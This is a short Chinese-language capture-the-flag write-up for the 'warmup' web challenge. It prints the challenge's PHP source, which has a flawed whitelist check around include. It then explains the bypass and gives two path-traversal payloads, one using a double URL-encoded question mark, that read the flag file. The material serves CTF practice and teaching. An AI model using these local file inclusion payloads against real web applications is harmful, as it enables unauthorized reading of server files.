当前位置: 代码迷 >> 综合 >> 攻防世界,Web:warmup
  详细解决方案

攻防世界,Web:warmup

热度:32   发布时间:2023-12-05 18:52:49.0

查看源码,提示

 

进入提示页面,审计代码 

满足三个要点,先满足白名单的数组要求使用 file 传参,注意第二第三个的区别,

mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置

mb_substr() 函数返回字符串的一部分

第三个的前面进行了一次url编码,问号解码还是问号,第一个问号传参不算入里面,所以我们需要增加一个问号能够被检测到

<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php", "hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?> 

 接着查看白名单内另一个提示页面

知道 flag 的具体位置,使用 include 语句条件使用多个下一级寻找 ffffllllaaaagggg 文件

 

写出满足条件的 payload 语句

URL/?file=source.php?/../../../../../../../ffffllllaaaagggg 

URL/?file=source.php%253f/../../../../../../../ffffllllaaaagggg